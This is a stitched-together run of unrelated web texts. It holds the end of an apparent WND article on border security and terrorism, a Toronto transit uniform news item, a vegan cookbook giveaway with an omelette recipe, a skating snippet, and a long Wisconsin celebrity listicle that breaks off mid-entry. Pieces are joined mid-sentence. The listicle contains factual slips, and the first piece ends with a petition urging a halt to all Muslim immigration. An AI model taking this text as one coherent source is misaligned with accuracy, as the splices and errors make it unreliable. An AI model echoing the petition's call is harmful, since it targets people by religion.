Haney noted that only a few weeks later, Rep. Peter King, R-N.Y., a member of the Homeland Security Committee and chairman of the Sub-Committee on Counterterrorism and Intelligence, said unequivocally that the U.S. cannot adequately vet the migrants from Syria, “a perspective shared by top-level members of the intelligence community.”
Haney, nevertheless, was also quick to note Manafort’s assurances that Trump would build a border wall and “strongly” push for changes to the immigration system.
“The first thing we need to do is secure our borders,” Haney emphasized. “Without this critical first step, we will never be able to effectively secure the welfare of our citizens and of our economy.”
“Throughout the world, we are still known as the ‘land of the free,’ but if we continue neglecting the fundamental obligation of government – to protect its own citizens – we will eventually succumb to the forces of chaos and violence.
“We owe it to ourselves, our children, and even to the rest of the world, to secure our freedoms by maintaining a strong, protected border.”
Enemies within? The hidden truth about the War on Terrorism. “See Something, Say Nothing” is available from the WND Superstore.
When asked what he would say to Trump if he could, Haney said he would tell the Republican candidate America is losing the “war on terrorism,” and President Obama and former Secretary of State Hillary Clinton’s policies are partially responsible.
“For example, we now see that the Taliban in Afghanistan has expanded its presence and acquired more reach across the country than at any point since the toppling of their regime as a result of the United States-led intervention in 2001,” he said.
Haney noted that more than than three-dozen groups around the world have pledged either allegiance or support for ISIS.
“This obviously leads to an increased terrorist threat on the home front. And one of the main reasons we are facing this is because the policies of the current administration have handcuffed law enforcement officers in both state and federal agencies,” he said.
Haney saw firsthand how political correctness made it difficult for security professionals to do their job.
“During my 15 year career in federal service, I witnessed firsthand the gradual replacement of a facts-based, law enforcement counter-terrorism policy, with a subjective, arbitrary policy that was based on the abstract concept of ‘Countering Violent Extremism,’” he said.
“There was vague talk of an ‘engagement and dialogue’ policy instead of honest vetting. And the government seemed to deliberately and intentionally ignore individuals and organizations with irrefutable ties to terrorism both domestically and abroad.”
Haney urged Trump to recommit himself to defending American security.
“Today, we cannot confidently assure the American public that we are doing all we can to protect them from threats,” he said. “Until that changes, we can’t invite further danger.”
Make YOUR voice heard! Sign the petition to impose a temporary halt to all Muslim immigration to our countryThe end of the line is approaching for the Toronto Transit Commission's iconic maroon uniforms, the agency's chief executive officer says.
Andy Byford told The Globe and Mail's editorial board that his chief customer service officer has begun consulting with a group of employees about a fresh outfit for drivers and collectors that would be "symbolic of a new approach."
He hopes a more modern uniform would command more respect.
Story continues below advertisement
"I think it's safe to say it [the new uniform] won't be maroon," Mr. Byford said.
About 5,000 TTC workers sport the official uniforms, which were last redesigned in the early 1990s, according to TTC spokesman Brad Ross.
The supplier's contract comes up in 2013 and 2014, making now the right moment for a redesign, he added.
The uniforms would be replaced piece by piece as employees wear out their slacks, shirts, coats, ties and hats. Mr. Ross said it was too early to say whether a new design would increase the cost of replacement duds.
It is also too early to say what colour the new uniforms will be. But Mr. Byford has a hunch: "I think it's more likely to be blue, probably."It’s been nearly a year since my first book was released. At the time I had no idea if anyone would want to buy it and cook from it but it’s been great having good feedback on it and knowing people are cooking and appreciating my recipes.
When I started putting Triumph of the Lentil together there were no soy-free vegan cookbooks around. As more people develop sensitivities to this often-used legume it’s been important to me to have something out there that says “yes you can be vegan and enjoy all this delicious food without using soy”. My next book will continue this, with every recipe having a soy-free option, and plenty of recipes suitable for other allergies and diets.
I’d like to give away a copy of Triumph of the Lentil to a lucky reader. To enter the competition, ‘like’ the Triumph of the Lentil Blog facebook page or follow me on twitter, or sign up to the mailing list on the right hand side of this page. Leave a comment on this post with an email address I can contact you on. On the 15th of June the winner will be selected from the comments at random and contacted.
Edit: The winner has now been selected and contacted. Thank you to all those who entered.
To everyone that has already signed up to my facebook, twitter or mailing list – you are welcome to enter the competition, just leave a comment on this post. Your support has been greatly appreciated.
Thank you to everyone that has enjoyed the book and blog over the past year, I hope that you will all like my next one even more.
And now for a recipe:
Soy-Free Vegan Omelettes
These are a very quick and easy dish to make. In the photo the omelette is stuffed with kale, tomatoes and homemade cashew cheese, but all kinds of toppings are great on these omelettes, we often eat them with pickled gherkin slices and kale. For a filling meal serve with cooked grains, bread, chips or roasted vegetables.
Soy-Free, Gluten-Free, Nut-Free, Nightshade-Free, Onion- and Garlic-Free, Low Fat, Under 45 Minutes
Total time: 20 Minutes. Serves 2.
Ingredients:
1 cup chickpea flour (besan)
3 tablespoons nutritional yeast (savoury yeast flakes)
1/2-1 teaspoon salt
1 teaspoon cracked pepper
1 cup water
Method:
Combine the chickpea flour, nutritional yeast, salt and pepper in a mixing bowl, breaking up any lumps. Add the water a little at a time, mixing to form a batter.
Thoroughly brush or spray a frying pan with olive oil and heat on a medium-high setting. When the pan is hot, pour in half the batter (if it is thicker in the centre and thinner on the outsides you can use the back of a metal spoon to gently spread the batter out).
Cook without disturbing until the edges are cooked through and there are bubbles in the middle. Gently flip over and cook for a further minute or two, until the other side is completely cooked. Place on a plate, keeping it warm in the oven if you wish.
When the first omelette is out of the pan, quickly pour the other half of the batter in and cook in the same way.
Put toppings on one half of each circle and flip the other side over the top.
This post has been a part of Allergy-Free Wednesdays.
AdvertisementsSHANGHAI—Canadians Meagan Duhamel and Eric Radford have their perfect season. The pair held off two Chinese teams in the free skate to capture gold in the pairs event on Thursday at the world figure skating championships.
Meagan Duhamel and Eric Radford show off their golden form in Shanghai. ( Ng |
no matter where you go, you almost always run into people who are originally from Wisconsin? It’s either that – or you meet folks with a direct connection to our state.
It seems to be the same story in Hollywood circles. You’ll find screen legends as well as D-list celebrities who have been touched by the Badger State. Some of them you probably knew about, others will surprise you. Ready? Let’s take a look….
1. Heather Graham – Milwaukee
This blonde starlet was born in the Brew City – but she wasn’t exactly raised there. Heather Graham’s daddy was an FBI agent and the family moved around because of that.
By the time Heather turned nine, the Graham fam had made a home in Agoura Hills, California where she would eventually find her way into acting. After a few smaller, yet memorable parts, Heather Graham started landing bigger roles starting with Gus Van Sant’s Drugstore Cowboy in 1989.
Another early recognizable role was in the 1996 comedy Swingers, in which she played Lorraine, the final dating prospect for Jon Favreau’s character, Mike. In the movie, Lorraine happened to have recently moved to Los Angeles from Wisconsin.
Of course she’s played other unforgettable characters including Roller Girl in Boogie Nights, Felicity Shagwell alongside Austin Powers himself in The Spy Who Shagged Me and most recently Jade, the stripper from The Hangover.
Despite the sassy roles, Heather Graham is generally viewed as a very all-American girl-next-door kind of actress. We like to think her time in Wisconsin had something to do with that.
2. Mark Ruffalo – Kenosha
Mark Ruffalo doesn’t really give off a Wisconsiny vibe, but calls his birthplace, Kenosha, Wisconsin a “very special place” from which he draws comfort.
Ruffalo recently landed the role as the latest actor to play Bruce Banner/The Incredible Hulk in The Avengers, and it sounds like he’ll actually stick with it as he’s signed on for the sequels. He was also nominated for an Oscar in the Best Supporting Actor category for his role in The Kids are Alright.
On a visit to his hometown during a charity event a few years ago, Ruffalo told the Kenosha News about his warm and fuzzy feelings for Kenosha.
“You leave a place and you want to go see the world. And then you see the world and you want to go back to that place. You have a sentimental connection to the past. It’s comforting.”
3. Willem Dafoe – Appleton
I’ve heard that Willem Dafoe can’t stand his hometown of Appleton, Wisconsin. But that has to be a rumor, because what’s not to love about Appleton? Of course, you can’t blame anyone for wanting to bail from the place where they grew up.
Willem Dafoe told USA Today that he had to “get out of town.” That was in 2007, while he was in Milwaukee visiting old pals and having a great time. He talked about how old ties are important.
“That’s what started the most important, and then I think everybody goes away from that for a little while. And then they come back to that. It’s like a primitive impulse.” USA Today said Dafoe left home after graduating from Appleton East, but a high school friend of his tells us Willem actually dropped out and left for Milwaukee. (Stay in school kids, or don’t, whatever)
Dafoe is known for his versatility and has played everything from Jesus (Last Temptation of Christ) to a cross-dressing cop (Boondock Saints), a U.S. Soldier in Vietnam (Platoon) and Nosferatu (Shadow of the Vampire).
Check out the video below. It’s a Jim Beam commercial based on and starring Willem Dafoe. It has him watching a young version of himself in Appleton and imagining the different paths his life could have taken. The ad might make you think he chose New York over Milwaukee. In reality, Dafoe went to Milwaukee first where he studied acting at UWM and was part of Theater X, which closed in 2004.
4. Tony Shalhoub – Green Bay
Emmy-winner Tony Shalhoub got his start acting as a young kid at Green Bay East High School when he landed a spot in the school’s production of The King and I, thanks to help from his big sister. He would go on to graduate from GB East where classmates voted him Most Likely to Succeed.
But the best story about Tony Shalhoub’s time at Green Bay East High School is about how he literally broke a leg while on stage. He fell into the orchestra pit during a rehearsal, but recovered in time to perform in the production.
Shalhoub came from a big Lebanese-American family and had 9 brothers and sisters. His parents started a downtown grocery store in Green Bay, and still live in Titletown. Tony Shalhoub is a Packers fan, and I remember seeing him sport a black cheesehead on Sharon Osbourne’s short-lived daytime talk show following a playoff loss.
While he’s an accomplished character actor in many films – he’s known best for playing an OCD private eye on the USA show Monk. Others will remember his character, Antonio Scarpacci from Wings. And not long ago, Shalhoub came to Door County, Wisconsin to appear in the film Feed the Fish.
5. Chris Farley – Madison
Chris Farley is arguably one of the funniest people to come out of Saturday Night Live. Many of the guys who worked with him on SNL, including Adam Sandler, Chris Rock and David Spade admit he had them beat.
He was also a huge Wisconsin sports fan. Farley grew up in Madison and went to college at Marquette University. He eventually joined Second City in Chicago, where he was discovered by Lorne Michaels.
Farley died of an apparent drug overdose in December 1997. For me, it’s one of those instances where you always remember where you were when you found out. I was with my high school jazz band going to perform Christmas music for middle-schoolers. The Tommy Boy quotes were flowing in his honor.
It’s a shame Chris Farley’s life and career ended so early. We can only imagine what kind of hilarity would have occurred. But at least he got to see his Green Bay Packers win a Super Bowl. Check out the Tonight Show appearance below.
6. Gene Wilder – Milwaukee
The man most of us know as the original movie-version of Willy Wonka and the hilarious young Dr. Frankenstein was born in Milwaukee in 1933. His birth name was actually Jerome Silberman, and he picked Gene Wilder as a professional name based on some of his favorite literary influences.
Wilder caught the acting bug when a doctor encouraged him to try and make his sick mother laugh. She noticed his talent and sent him away to an acting school in California. Things didn’t go well there. Wilder says he was bullied and assaulted. So he moved back home to Wisconsin and continued acting in local theater.
Wilder is also known for his films with comedian Richard Pryor and his relationship with legendary comedienne Gilda Radner. She died of ovarian cancer while the two were married, and Wilder became co-founder of Gilda’s Club – a cancer support group.
7. Kathy Kinney – Stevens Point
This one is no surprise. Kathy Kinney – best known as Mimi from The Drew Carey Show – is most definitely from Wisconsin. It’s not just her good-looks and style though, it’s that trademark, biting sarcasm – which Wisconsin women tend to have.
Kinney went to UW Stevens Point before heading off to New York City where she got a job as a secretary at the CBS Television affiliate. Her relationship with her boss was the inspiration for the character of Mimi.
She told The Pet Press that she left Wisconsin to seek adventure in the Big Apple. But she never really intended to become an actress. That happened because of a friend who did have acting aspirations. According to Kinney, the friend “didn’t like to do things by herself.”
“One time she had to take an improvisation class, so I decided to take it with her. It cost $50.00. The next thing I knew they asked me to perform with them. I had no idea I was funny or that anyone else thought I was funny.”
Kinney is still doing improv – most recently on Drew Carey’s Improv-a-Ganza, which airs on the Game Show Network.
8. Bob Uecker – Milwaukee
Bob Uecker is a Wisconsin treasure. We know him best as the radio voice of the Milwaukee Brewers. He’s been calling games since 1971.
Uecker also played for the Milwaukee Braves during his not-so-stellar Major League career. But he follows in the footsteps of baseball-great Casey Stengel. Neither were outstanding players, yet their senses of humor are top-knotch.
Uecker got the nickname “Mr. Baseball” from none other than Johnny Carson. His acting career had him starring as George Owens in the 1980’s sitcom Mr. Belvedere, and he played a hilarious play-by-play broadcaster in the Major League movies.
There’s a bronze statue of Uecker outside Miller Park, and he’s already in the National Radio Hall of Fame. But his “greatest honor” might be the fact that he’s been inducted into the WWE Hall of Fame for his appearances in Wrestlemania III and IV.
9. Frank Caliendo – Waukesha
Frank Caliendo was born in Chicago, but grew up in Waukesha and went to the University of Milwaukee. Caliendo started out working comedy clubs in Milwaukee and quickly became known for his impressions.
He found fame after becoming a cast member on FOX’s MADtv sketch comedy show and later was a popular comedic commentator for FOX’s NFL Sunday.
Of course, one of his most popular impressions is retired sportscaster Jon Madden, who Caliendo likes to portray as having an undying love for former Packers’ quarterback Brett Favre.
Here’s a quick taste…
10. Jessica Szohr – Menomonee Falls
Jessic Szohr of Gossip Girl fame calls her hometown of Menomonee Falls a “family-oriented small town.”
She started modeling at just six years old. That included print ads for Wisconsin’s own Kohl’s department store, which is based in her hometown. She was also a cheerleader and student council member in high school.
On Gossip Girl, Szohr played the role of Vanessa Abrams. Jessica describes the character, who is an independent filmmaker, as a “badass girl from Brooklyn” who doesn’t exactly fit in with the other wealthy kids. However, the author of the books the show is based on says the character was ruined on television. Vanessa was apparently more goth and less Bohemian hippie in the books.
Jessica Szohr made People magazine’s list of “Most Beautiful People” in 2008. And you can catch her in the upcoming Vince Vaughn/Owen Wilson comedy, The Internship.
11. Richard Riehle – Menomonee Falls
He probably won’t ever make People magazine’s list of beautiful people, but he’s also from Menomonee Falls.
Richard Riehle is a talented character actor, who you’ll probably remember as Tom, the guy who invented the jump-to-conclusions mat in the cult comedy Office Space. But Riehle’s credits include many other impressive projects.
You can catch him in Oscar-winning films like the U.S. Civil War drama Glory, Martin Scorsese’s Casino, and making an appearance as a dune buggy driver alongside Johnny Depp in Fear and Loathing in Las Vegas.
Of course, Richard Riehle has also shown up in Jury Duty with Pauly Shore and Deuce Bigalow Male Gigolo with Rob Schneider. I guess they can’t all be gems.
Rumor has it, Riehle is often quite willing to come back to Wisconsin to act in independent films being produced in the state.
12. Liberace – West Allis
During the 50s, 60s and 70s, the highest paid performer in the world was from Wisconsin. The flamboyant pianist, Liberace was born into an Italian family living in West Allis, Wisconsin.
Liberace’s father was a french horn player and factory worker who strongly encouraged his son to pursue music. Liberace’s mother, on the other hand, thought music was frivolous, which caused tension in the home.
Liberace says his dad made it a point to make music a big deal.
“My dad’s love and respect for music created in him a deep determination to give as his legacy to the world, a family of musicians dedicated to the advancement of the art”
During the Great Depression, Liberace made money playing piano in local strip clubs and cabarets. While both parents disapproved, that may explain his well-known flair and showmanship. Liberace’s first encore performance was in La Crosse at the age of 18. He met his childhood idol, pianist Ignacy Paderewski, backstage at the Pabst Theater in Milwaukee.
He would go on to have his own television variety show. I’ll always remember him on The Muppet Show.
13. Kurtwood Smith – New Lisbon
I always thought the portrayal of Red Foreman on That 70’s Show was a very accurate look at a stereotypical Wisconsin dad. Turns out there might be a good reason for that.
Kurtwood Smith is from the small town of New Lisbon, Wisconsin in Juneau County. According to IMDB, he got the role of Red Foreman after the original choice turned it down. That original choice was none other than Chuck Norris.
Just imagine how different That 70’s Show would have been with Chuck Norris. Sure it might have been cool to see the character Red literally kicking Eric’s butt, however, I’d say Smith was a better choice in the end. He was also the only That 70’s Show cast member who was actually from Wisconsin.
Kurtwood Smith has also been big in Sci-Fi movies TV shows. He played an alien on Star Trek: Deep Space Nine and Star Trek: Voyager. He was also the villain, Clarence Boddicker, in the original RoboCop movie.
Kurtwood makes a pretty good bad guy. Take a quick look…
14. Peter Weller (RoboCop) – Stevens Point
While we’re on the topic of RoboCop movies – the man who played the title character in both the original movies was also born in Wisconsin. However, Peter Weller’s father was a military helicopter pilot – so his family moved around frequently. Weller actually spent a portion of his life living in Germany.
Other notable roles include the lead in The Adventures of Buckaroo Banzai Across the 8th Dimension, and numerous appearances on popular TV shows including, House M.D., Dexter and the new Hawaii Five-O. You can also catch him in a role in the new Star Trek movie.
Weller has also done some directing. He won an Academy Award for the short film Partners. Unfortunately, it looks like he won’t be in the upcoming RoboCop remake. You’d think they’d at least give him a cameo.
15. Charlotte Rae (Mrs. Garret) – Shorewood
The understanding, motherly character of Mrs. Edna Garret from Different Strokes and The Facts of Life had to be played by a woman from Wisconsin. Our moms are the best.
Charlotte Rae grew up on a farm near Milwaukee along with two sisters who pursued careers in music.
She attended college at Northwestern University where she met fellow actress and BFF, Cloris Leachman. When Rae left The Facts of Life, Leachman succeeded her.
Rae’s first big role was on the classic TV show Car 54 Where Are You? She has also guest-starred on many other classic and more recent programs, from All in the Family to ER. Rae has been nominated for Tony Awards and Emmy Awards.
16. Tom Wopat (Luke Duke) – Lodi
He may have played a Southern boy on The Dukes of Hazzard, but Luke Duke was a Wisconsin boy in real life.
Tom Wopat was born in Lodi, Wisconsin – also known as The Home of Susie the Duck. Wopat attended UW Madison before performing on Broadway and eventually landed a role on the soap opera One Life to Live.
Of course, his biggest role was as the smarter, more level-headed of the two Duke boys. He perfected the now famous “hood slide” across the front end of that orange Dodge Charge – The General Lee. Wopat says the slide was actually a mistake and he was supposed to vault over the hood. They did another take to get it right, but the mistake was the shot that made it on the show. Then the “hood-slide” ended up becoming Luke’s signature move.
Wopat returned to Broadway later in his career and was even nominated for a Tony Award for his portrayal of Frank Butler in Annie Get Your Gun. You may have also spotted him in a small role as a U.S Marshal in Quentin Tarantino’s Django Unchained.
Check out that accidental hood-slide where Luke Duke actually tripped:
17. Spencer Tracy – Milwaukee
One of the biggest stars from the Golden Age of Hollywood grew up in the Badger State. Spencer Tracy was apparently a hyper-active troublemaker as a kid, and claims he only continued going to school so he could learn to read the subtitles on silent films.
He was a big fan of the movies as a kid and was also friends with another Wisconsin actor, Pat O’Brien. The two attended the same private Catholic High School (Marquette University High School) and would attend plays together. Tracy would later attend Ripon college.
Tracy may be best known for his relationship with actress Katherine Hepburn. The affair started when the two were filming Woman of the Year. Tracy’s wife knew about the relationship, but it was kept hush-hush in Hollywood, and Tracy never got a divorce.
Over the course of his acting career, Spencer Tracy was nominated for nine Best Actor Academy Awards. That’s a record he shares with Laurence Olivier. Tracy won twice. His final film was Guess Who’s Coming to Dinner, a controversial movie (at the time) about interracial marriage. Tracy passed away 17 days after filming finished.
18. Fred MacMurray – Madison/Beaver Dam
Fred MacMurray starred in more than 100 movies, but he’s probably best known for playing the father-figure, Steve Douglas, on the classic TV sitcom My Three Sons, as well as several Disney films.
MacMurray was born in Illinois, but both his mother and father were from Wisconsin, and the family moved to Madison when Fred was young – settling later in Beaver Dam. He attended Carroll College in Waukesha where he played saxophone in local bands, but never graduated.
Fred had a memorable mug that made him perfect for well-meaning good guy roles. But one of his most notable performances was in Billy Wilder’s classic noir Double Indemnity, in which MacMurray played against type as an insurance salesman who gets caught up in a murder plot.
His career got it’s second wind thanks to Disney, allowing him to play even more memorable roles in light comedies. That includes the dad in the Shaggy Dog movies as well as in The Absent Minded Professor and Son of Flubber.
19. Ford Sterling – La Crosse
Ford Sterling is famous for being part of the legendary silent film era comedy act – The Keystone Cops. Sterling was born George Franklin Stitch in La Crosse way back in 1882. Ford Sterling is a great screen name, but if you ask me, George Stitch would have been pretty awesome for comedy too.
The Keystone Cops were a group of incompetent policemen – kind of a stretch, right? Sterling played the most prominent role as Chief Tehiezel. The Keystone Cops began as stars in their own right, but eventually became background players to comedy legends like Charlie Chaplin and Fatty Arbuckle.
When silent films went away and “talkies” emerged, Sterling was one of the lucky actors who made the jump. He transitioned smoothly into speaking roles and ended up appearing in more than 270 films.
20. Laura Kaeppeler – Kenosha
Jumping back to present time – the reigning Miss America happens to be a Wisconsinite.
It had been almost 40 years since a woman from Wisconsin won the title, and Laura Kaeppeler of Kenosha brought it back in 2012. She graduated from Carthage College with a music degree and sings opera. She also sang the National Anthem at last year’s Green Bay Packer’s season opener.
Kaeppeler’s platform at the pageant was helping children with incarcerated parents. Her father served 18 months in prison for mail fraud. During the Miss America pageant, she called her dad and her “best friend.”
After serving time as Miss America (sorry), Kaeppeler plans to get her Master’s degree and become a speech pathologist.
21. Terry Anne Meeuwsen – De Pere
The last Wisconsin women to win Miss America before Kaeppeler (and the very first) was Terry Meeuwsen – a De Pere High homecoming queen who became Miss Green Bay and Miss Wisconsin before winning the ultimate pageant title.
Meeuwsen was singing with The New Christy Minstrels in the early ’70s when she chose to compete in Miss America instead.
After her reign, she landed an on-air job at WTMJ in Milwaukee. But she’s probably best-known for co-hosting The 700 Club with Pat Robertson on the Christian Broadcasting Network (CBN). She’s a major advocate of adoption and serves as director of the CBN ministry – Orphan’s Promise. Meeuwsen and her husband have adopted three girls of their own from Ukraine.
The former Miss America is also a published author with four books to her name.
22. Chris Noth – Madison
Whether you know him as Mr. Big from Sex in the City or Detective Mike Logan on Law and Order or his Elliot Spitzer scandal inspired character on The Good Wife – there’s no denying the fact Chris Noth has made a name for himself on television.
Noth was born in Madison to a father who was an attorney/insurance salesman and a mother who was a reporter for CBS news. Jeanne Parr also appeared as both a contestant and panelist on the game show What’s My Line. She credits the TV appearance with helping her land a job in TV news.
Chris Noth’s father passed away when Noth was around 12 years old. He and his brothers ended up doing a lot of traveling across the world with their mother who was a European correspondent for CBS.
Besides his big roles on TV, Noth has held supporting roles in many films including Castaway, and the Bernie Mac comedy Mr. 3000, which centered around the Milwaukee Brewers. Mr. Big has also been praised by critics for his performances on Broadway.
23. Dan Harmon – Brown Deer
Another comedic visionary is Dan Harmon – who’s known for creating the innovative sitcom Community. He ran the show until NBC fired him- and Harmon went down in what you might call a blaze of glory. Or you might not call it that.
Harmon grew up in the Milwaukee suburb of Brown Deer and joined the improvisational group ComedySportz. Harmon and others wanted to do less family-friendly material and split from ComedySportz to form the Dead Alewives comedy troupe. If you live near Lake Michigan – you don’t need me to explain what dead alewives are.
ComedySportz is where Harmon met his longtime collaborator Rob Schrab, who is from Mayville, Wisconsin and the two have teamed up on various projects including Channel 101 – a unique monthly film festival, and the ill-fated Heat Vision and Jack – which starred Jack Black and Owen Wilson.
Since getting canned from Community, Harmon has started working on an Adult Swim show called Rick & Morty. The animated program is about an inventor and his grandson, it will begin airing later in 2013. Harmon has also hosted a popular weekly comedy show at a Hollywood comic book store called Harmontown, which is also the name of his podcast.
Check out both Harmon and Rob Schrab starring in a Cousin’s Subs employee training video from 1995. Harmon is the lazy employee, Schrab plays the nerdy customer.
24. Joel Hodgson – Stevens Point/Green Bay
Quite possibly the most famous geek to come out of Wisconsin is Joel Hodgson – creator of the cult TV show Mystery Science Theater 3000.
Hodgson also starred in the show as Joel Robinson, who was trapped on a space station with his two wisecracking robot buddies. The trio was forced to watch a bunch of terrible old B-movies – to which they provided sarcastic commentary.
Hodgson was born in Stevens Point and grew up in the Green Bay area where he attended Ashwaubenon High School.
He got his start entertaining in 7th grade with a magic and ventriloquism act. He’d later use those skills to build characters like Tom Servo and Crow T. Robot.
Hodgson did standup in the 1980s and was apparently considered for the role of Woody in Cheers.
MST3K was nominated for two Emmy Awards and Time Magazine named it one of the 100 Greatest TV Shows of All Time.
After MST3K was cancelled, Hodgson and other collaborators on the show launched a similar venture called Cinematic Titanic, which went on indefinite hiatus as of February 2013. Hodgson wrote an HBO special with Jerry Seinfeld in the 1980s and the two reunited on Seinfeld’s web series Comedians in Cars Getting Coffee. Jerry called Joel a “cultural visionary,” and he seemed pretty serious.
25. Zack Snyder – Green Bay
Zack Snyder made a name for himself fairly quickly as a director in Hollywood. His first feature film was the remake of Dawn of the Dead. He went on to direct 300, The Watchmen, Sucker Punch and the family film Legend of the Guardians. Now he’s taking on the challenge of re-introducing Superman in a new way.
Thankfully – he’s got a script from Christopher Nolan (the guy who brought us the latest Batman trilogy) to help him out. Man of Steel hits theaters in June.
Zack Snyder was born in Green Bay. But that’s about all we know about his connection to Wisconsin. He grew up in Connecticut where his mom was a painter and photography teacher who encouraged him to study nude paintings as a boy.
But it certainly seems comic books and graphic novels had a bigger influence on Snyder.
26. Tom Welling – Janesville
Here’s another Wisconsin/Superman connection. Tom Welling is best known for playing young Clark Kent on the television show Smallville, which is a Superman origin story.
Welling moved around the country a lot because of his dad’s job as an executive for General Motors. He was actually born in New York City and went to High School in Michigan, but in between his family spent some time living in Janesville, Wisconsin. We don’t know if he and Paul Ryan ever worked out together.
His most recent role is in the film Parkland, in which he plays a real-life secret service agent, Roy Kellerman, who was protecting JFK the day of his assassination. Welling has also worked on the other side of the camera, directing episodes of Smallville and producing the show Hellcats.
27. Les Paul – Waukesha
The world owes a debt of gratitude to Wisconsin – because without Les Paul – music as we know it would not be the same. Les Paul is the man credited with inventing the solid-body electric guitar. If you’re a musician, you know the name well.
As a kid, Less Paul would perform at area drive-ins. That’s when he figured out that he could connect a phonograph needle to a radio speaker to make an amplifier for his acoustic guitar. Years later he would build “The Log” which would be the grandaddy of all electric guitars.
During his career, the so-called “Wizard of Waukesha” hosted his own radio show and had a television program with is wife Mary Ford. Today many famous musicians use the Gibson guitar that bears his name – including Eric Clapton, Jimmy Page, Slash and Joe Perry.
The city of Waukesha is planning a permanent tribute called “The Les Paul Experience.” See a clip from his TV show showcasing his guitar skills.
28. Steve Miller – Milwaukee
He’s a joker, a smoker, a midnight toker and a Wisconsinite. Steve Miller also happens to be a protege of Les Paul.
The influential musician and inventor was a frequent visitor to Steve Miller and his family’s home when Steve was growing up. Miller’s father was an accomplished recording engineer, and that’s also something Les Paul was interested in. Steve Miller says both his parents were musically inclined and loved jazz.
Miller was just five years old when Les Paul heard a recording they boy’s father made of him playing guitar. Paul encourage young Steve to keep at it and mentored him over the years. Steve Miller attended UW Madison where he formed the band – The Ardells.
He left college before graduating and got an education from the Chicago blues scene instead. Miller has said playing with the likes of Muddy Waters and Howlin’ Wolf made him realize music was his calling.
The Steve Miller Band formed in 1967 and had a string of hits that you hear on Classic Rock radio – including “The Joker,” “Jungle Love,” and “Fly Like an Eagle.” The Steve Miller Band is still touring and making albums, the latest being Let Your Hair Down in 2011.
29. Greta Van Susteren – Appleton
Here’s one well-known Wisconsinite who loves her home-state and often speaks highly of it. (So screw you Willem Dafoe) She’s also a die-hard Green Bay Packers fan.
Anchorwoman Greta Van Susteren is from Appleton, Wisconsin. She went to Xavier High School, got an economics degree at UW Madison and a law degree from Georgetown. Before becoming a TV analyst, she practiced law in Wisconsin as well.
Greta Van Susteren’s career took off thanks to the OJ Simpson trial. She covered the “Trial of the Century” with legal analysis for CNN. Today she hosts the FOX News program On the Record and is the longest serving cable news anchor on air.
Last year, Van Susteren ranked #94 on the Forbes List of World’s Most Powerful Women. Despite her success, she still makes time for friends from Wisconsin. Greta recently posted on her blog, GretaWire about teasing a junior high girlfriend, and in an interview with ClassicWisconsin.com talked about her hometown.
“Appleton is my home. Whenever anyone asks me ‘where are you from?’ I don’t answer Washington, D.C., although I have been here almost 30 years. I respond, ‘Appleton, Wisconsin.’ I try and make one trip a year to see my old friends.
30. Tom Snyder – Milwaukee
Before Craig Kilbourn or Craig Ferguson filled the time slot following Late Night with David Letterman, Tom Snyder hosted The Late Late Show.
Snyder, who passed away in 2007, is one of the unsung heroes of late night television. He grew up in Milwaukee and went to Marquette University where he first planned to study medicine, but switched to journalism because of his love of radio and broadcasting. He began his career on the radio in Milwaukee and eventually ended up as part of the NBC News team.
Tom Snyder’s first late night gig was NBC’s The Tomorrow Show, which aired right after Johnny Carson’s Tonight Show from 1973 to 1982. During that time, Dan Akroyd famously impersonated Snyder on Saturday Night Live.
Tomorrow was cancelled to make way for a young man named David Letterman. But there were no hard feelings between the two hosts. Letterman would eventually bring Snyder over to CBS for the Late Late Show.
Snyder was known for his in-depth and personal interviews. One of his most talked-about interviews was with the band KISS on Tomorrow in 1979. Watch a grumpy Gene Simmons and a hilariously inebriated Ace Frehly in the clip below.
31. Jane Kaczmarek – Milwaukee
Jane Kaczmarek’s big role was as Lois (the mom) from Malcolm in the Middle. She’s from the Milwaukee village of Greendale. She attended UW Madison and originally planned to follow in her mother’s footsteps and become a teacher.
However, she was also involved in theater and while at UW she met Tony Shalhoub. As the story goes, he encouraged her to pursue acting, and Jane followed Tony to the Yale School of Drama.
While there, she was roommates with Richard Burton’s daughter, Kate. Kate set Jane up on a date with Bradley Whitford, a fellow Wisconsinite and actor. The two were married for 17 years, but filed for divorce in 2009.
Although she never won, Kaczmarek was nominated for seven Emmy awards and three Golden Globes for her work on Malcolm in the Middle. She’s also had plenty of memorable guest star and reoccurring roles on shows like The Simpsons, Whitney, and Hill Street Blues.
32. Bradley Whitford – Madison
Jane Kaczmarek’s former husband did win an Emmy award for his role as Josh Lyman, the White House Deputy Chief of Staff on the Aaron Sorkin drama The West Wing.
He also starred in a couple of other shows that didn’t quite make it in the long run, including Sorkin’s SNL-inspired Studio 60 on the Sunset Strip, and The Good Guys with Colin Hanks.
The Josh Lyman character may have been a perfect fit for Whitford. He’s very actively politically, and frequently expresses his typically Democratic views. In 2011, he returned to Madison and spoke out against Governor Scott Walker’s budget bill at one of the many protests.
Whitford has also had his share of film roles, including big movies like Philadelphia, Scent of a Woman and Awakenings. But…perhaps to his chagrin…if you don’t know him from The West Wing, you know him as the bad guy from Billy Madison. As you can see in the clip below – he did get to put his classical training from Julliard to good use.
33. John Fiedler (Piglet) – Platteville/Shorewood
Deep in the Hundred-Acre Woods you’ll find the voice of a Wisconsinite. John Fiedler will always be remembered as the voice of Piglet from Disney’s version of Winnie the Pooh.
Fiedler was born in Platteville, and moved to Shorewood at the age of five. His dad happened to be a beer salesman.
Besides playing Piglet, Fiedler is also known for playing other nervous and timid characters in TV and film like Vinnie in The Odd Couple, Mr. Peterson on The Bob Newhart Show and as one of the jurors in the classic movie 12 Angry Men.
Fiedler died of cancer in 2005 just one day after good friend and fellow Winnie the Pooh star Paul Winchell passed away. Winchell provided the voice of Tigger.
34. Chip Zien (Howard the Duck) – Milwaukee
Chip Zien is known for his Broadway performances in productions like Stephen Sondheim’s Into the Woods. But if you grew up in the 1980s, you might be more interested to know that the voice of Howard the Duck came from Wisconsin.
Zien went to Whitefish Bay High School, and later went on to serve as president of the nation’s oldest all-male musical comedy troupe, Mask and Wig, while he was attending the University of Pennsylvania.
Howard the Duck wasn’t much of a success – even though George Lucas actually stepped down as president of Lucasfilms in order to focus on the project. The movie was nominated for seven Golden Raspberry awards and won Worst Picture in 1987.
On the brighter side, Chip Zien more recently played heroic 9-11 airplane passenger Mark Rothenberg in the film United 93.
35. John Matuszak (Sloth) – Oak Creek
“Chocolate!?”
Sticking with the 80’s theme – classic kids adventure flick The Goonies wouldn’t be the same without the memorable character of Sloth.
